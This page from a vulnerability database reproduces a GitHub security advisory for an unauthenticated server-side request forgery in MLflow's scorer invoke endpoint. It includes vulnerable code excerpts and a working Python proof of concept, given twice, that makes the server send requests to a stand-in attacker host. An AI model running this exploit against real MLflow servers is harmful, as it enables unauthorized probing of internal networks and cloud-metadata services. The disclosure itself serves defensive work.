GHSA-2WQP-Q3C6-CCJ5

Vulnerability from github – Published: 2026-10-23 22:07 – Updated: 2026-10-23 22:07
VLAI
Summary
MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints
Details

Summary

MLflow's tracking server exposes POST /ajax-api/3.0/mlflow/scorer/invoke with no authentication, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional trulens + trulens-providers-litellm packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).

Details

Scorer.model_validate_json() reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in mlflow/genai/scorers/base.py:549-604:

data = serialized.third_party_scorer_data          # attacker JSON
module_path = data.get("module") or ""
class_name = data.get("class")
if not any(module_path == m or module_path.startswith(m + ".")
           for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):
    raise MlflowException.invalid_parameter_value(...)
module = importlib.import_module(module_path)
scorer_class = getattr(module, class_name, None)   # attribute NOT constrained
...
init_kwargs: dict[str, Any] = dict(data.get("kwargs") or {})  # kwargs NOT constrained
...
init_kwargs["model"] = data["model"]               # attacker model URI
scorer_instance = scorer_class(**init_kwargs)      # reflective instantiation

The allowlist (mlflow/genai/scorers/scorer_utils.py:46-51) only gates the import path:

THIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({
    "mlflow.genai.scorers.ragas",
    "mlflow.genai.scorers.deepeval",
    "mlflow.genai.scorers.trulens",
    "mlflow.genai.scorers.phoenix",
})

For a mlflow.genai.scorers.trulens class, the forwarded model/kwargs reach an outbound LLM client through a routing choice the attacker controls (mlflow/genai/scorers/trulens/models.py:97-121):

backend = ScorerLLMClient(model_uri)
if backend.route == "databricks":
    return _create_databricks_provider(backend, **kwargs)
if backend.is_native:
    return _create_gateway_provider(backend, **kwargs)
try:
    from trulens.providers.litellm import LiteLLM
    litellm_model = backend.model_name
    ...
    return LiteLLM(model_engine=litellm_model, **kwargs)   # raw attacker kwargs forwarded

Only the litellm fallback branch reaches raw **kwargs; a model URI outside MLflow's native provider registry (e.g. openai:/gpt-4o) trivially routes there, and LiteLLM.__init__ forwards api_base/api_key straight into litellm.completion().

  • Route: POST /ajax-api/3.0/mlflow/scorer/invoke → _invoke_scorer_handler (mlflow/server/handlers.py:7026-7098), guarded only by @catch_mlflow_exception/@_disable_if_artifacts_only — no auth decorator.
  • Scorer.model_validate_json(serialized_scorer) (the vulnerable deserialization) runs synchronously, before any tracking-store lookup or submit_job call.
  • Precondition: the server venv must have trulens + trulens-providers-litellm installed (a documented but optional, not-bundled GenAI-eval setup).

PoC

import time
import mlflow
from mlflow import MlflowClient
import requests

TARGET = "http://TARGET:5000"           # MLflow tracking server, no auth configured
ATTACKER = "http://ATTACKER/collect"    # host the attacker controls and monitors

client = MlflowClient(tracking_uri=TARGET)

# 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id.
exp_id = client.create_experiment("poc")
mlflow.set_tracking_uri(TARGET)
mlflow.set_experiment(experiment_id=exp_id)
with mlflow.start_span(name="poc-span") as span:
    span.set_inputs({"q": "hi"})
    span.set_outputs({"a": "hi"})
trace_id = span.request_id

# 2. Attack: invoke a reflected trulens scorer whose kwargs point the
#    outbound LLM client at the attacker host with an attacker-chosen
#    Authorization value (their own canary, not a server secret).
serialized_scorer = {
    "name": "poc",
    "third_party_scorer_data": {
        "module": "mlflow.genai.scorers.trulens",
        "class": "Coherence",
        "metric_name": "Coherence",
        "model": "openai:/gpt-4o",          # routes to the litellm fallback
        "kwargs": {
            "api_base": ATTACKER,
            "api_key": "ATTACKER-CANARY",   # attacker's own value, not a server secret
        },
    },
}
resp = requests.post(
    f"{TARGET}/ajax-api/3.0/mlflow/scorer/invoke",
    json={
        "experiment_id": exp_id,
        "serialized_scorer": __import__("json").dumps(serialized_scorer),
        "trace_ids": [trace_id],
    },
)
print(resp.status_code, resp.text)
time.sleep(5)  # scorer job runs asynchronously
# Attacker-controlled listener at ATTACKER receives, moments later:
POST /collect/chat/completions HTTP/1.1
Authorization: Bearer ATTACKER-CANARY
Content-Type: application/json
...

The POST .../chat/completions request landing on ATTACKER, carrying the attacker's own Authorization header, is the server-originated outbound request — no request was ever sent by the client to that host directly.

Impact

An unauthenticated attacker forces the tracking server to issue an outbound HTTP request to an arbitrary attacker-chosen host — reachable from the server's network position, including internal services or cloud-metadata endpoints — with fully attacker-controlled request headers and body. This is SSRF with header/credential injection into the server-originated request; it requires no prior authentication and no operator misconfiguration beyond having the optional trulens + trulens-providers-litellm packages installed alongside MLflow.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mlflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.12.0rc0"
            },
            {
              "fixed": "3.17.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-115886"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-23T22:07:26Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nMLflow\u0027s tracking server exposes `POST /ajax-api/3.0/mlflow/scorer/invoke` with **no authentication**, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional `trulens` + `trulens-providers-litellm` packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).\n\n### Details\n`Scorer.model_validate_json()` reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in `mlflow/genai/scorers/base.py:549-604`:\n\n```python\ndata = serialized.third_party_scorer_data          # attacker JSON\nmodule_path = data.get(\"module\") or \"\"\nclass_name = data.get(\"class\")\nif not any(module_path == m or module_path.startswith(m + \".\")\n           for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):\n    raise MlflowException.invalid_parameter_value(...)\nmodule = importlib.import_module(module_path)\nscorer_class = getattr(module, class_name, None)   # attribute NOT constrained\n...\ninit_kwargs: dict[str, Any] = dict(data.get(\"kwargs\") or {})  # kwargs NOT constrained\n...\ninit_kwargs[\"model\"] = data[\"model\"]               # attacker model URI\nscorer_instance = scorer_class(**init_kwargs)      # reflective instantiation\n```\n\nThe allowlist (`mlflow/genai/scorers/scorer_utils.py:46-51`) only gates the import path:\n\n```python\nTHIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({\n    \"mlflow.genai.scorers.ragas\",\n    \"mlflow.genai.scorers.deepeval\",\n    \"mlflow.genai.scorers.trulens\",\n    \"mlflow.genai.scorers.phoenix\",\n})\n```\n\nFor a `mlflow.genai.scorers.trulens` class, the forwarded `model`/`kwargs` reach an outbound LLM client through a routing choice the attacker controls (`mlflow/genai/scorers/trulens/models.py:97-121`):\n\n```python\nbackend = ScorerLLMClient(model_uri)\nif backend.route == \"databricks\":\n    return _create_databricks_provider(backend, **kwargs)\nif backend.is_native:\n    return _create_gateway_provider(backend, **kwargs)\ntry:\n    from trulens.providers.litellm import LiteLLM\n    litellm_model = backend.model_name\n    ...\n    return LiteLLM(model_engine=litellm_model, **kwargs)   # raw attacker kwargs forwarded\n```\n\nOnly the `litellm` fallback branch reaches raw `**kwargs`; a `model` URI outside MLflow\u0027s native provider registry (e.g. `openai:/gpt-4o`) trivially routes there, and `LiteLLM.__init__` forwards `api_base`/`api_key` straight into `litellm.completion()`.\n\n- Route: `POST /ajax-api/3.0/mlflow/scorer/invoke` \u2192 `_invoke_scorer_handler` (`mlflow/server/handlers.py:7026-7098`), guarded only by `@catch_mlflow_exception`/`@_disable_if_artifacts_only` \u2014 no auth decorator.\n- `Scorer.model_validate_json(serialized_scorer)` (the vulnerable deserialization) runs synchronously, before any tracking-store lookup or `submit_job` call.\n- Precondition: the server venv must have `trulens` + `trulens-providers-litellm` installed (a documented but optional, not-bundled GenAI-eval setup).\n\n### PoC\n```python\nimport time\nimport mlflow\nfrom mlflow import MlflowClient\nimport requests\n\nTARGET = \"http://TARGET:5000\"           # MLflow tracking server, no auth configured\nATTACKER = \"http://ATTACKER/collect\"    # host the attacker controls and monitors\n\nclient = MlflowClient(tracking_uri=TARGET)\n\n# 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id.\nexp_id = client.create_experiment(\"poc\")\nmlflow.set_tracking_uri(TARGET)\nmlflow.set_experiment(experiment_id=exp_id)\nwith mlflow.start_span(name=\"poc-span\") as span:\n    span.set_inputs({\"q\": \"hi\"})\n    span.set_outputs({\"a\": \"hi\"})\ntrace_id = span.request_id\n\n# 2. Attack: invoke a reflected trulens scorer whose kwargs point the\n#    outbound LLM client at the attacker host with an attacker-chosen\n#    Authorization value (their own canary, not a server secret).\nserialized_scorer = {\n    \"name\": \"poc\",\n    \"third_party_scorer_data\": {\n        \"module\": \"mlflow.genai.scorers.trulens\",\n        \"class\": \"Coherence\",\n        \"metric_name\": \"Coherence\",\n        \"model\": \"openai:/gpt-4o\",          # routes to the litellm fallback\n        \"kwargs\": {\n            \"api_base\": ATTACKER,\n            \"api_key\": \"ATTACKER-CANARY\",   # attacker\u0027s own value, not a server secret\n        },\n    },\n}\nresp = requests.post(\n    f\"{TARGET}/ajax-api/3.0/mlflow/scorer/invoke\",\n    json={\n        \"experiment_id\": exp_id,\n        \"serialized_scorer\": __import__(\"json\").dumps(serialized_scorer),\n        \"trace_ids\": [trace_id],\n    },\n)\nprint(resp.status_code, resp.text)\ntime.sleep(5)  # scorer job runs asynchronously\n```\n\n```\n# Attacker-controlled listener at ATTACKER receives, moments later:\nPOST /collect/chat/completions HTTP/1.1\nAuthorization: Bearer ATTACKER-CANARY\nContent-Type: application/json\n...\n```\n\nThe `POST .../chat/completions` request landing on `ATTACKER`, carrying the attacker\u0027s own `Authorization` header, is the server-originated outbound request \u2014 no request was ever sent by the client to that host directly.\n\n### Impact\nAn unauthenticated attacker forces the tracking server to issue an outbound HTTP request to an arbitrary attacker-chosen host \u2014 reachable from the server\u0027s network position, including internal services or cloud-metadata endpoints \u2014 with fully attacker-controlled request headers and body. This is SSRF with header/credential injection into the server-originated request; it requires no prior authentication and no operator misconfiguration beyond having the optional `trulens` + `trulens-providers-litellm` packages installed alongside MLflow.",
  "id": "GHSA-2wqp-q3c6-ccj5",
  "modified": "2026-10-23T22:07:26Z",
  "published": "2026-10-23T22:07:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/security/advisories/GHSA-2wqp-q3c6-ccj5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/pull/25890"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/commit/bac30b4148c4f40045b4d4db07ae60ab3838803f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mlflow/mlflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/releases/tag/v3.17.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.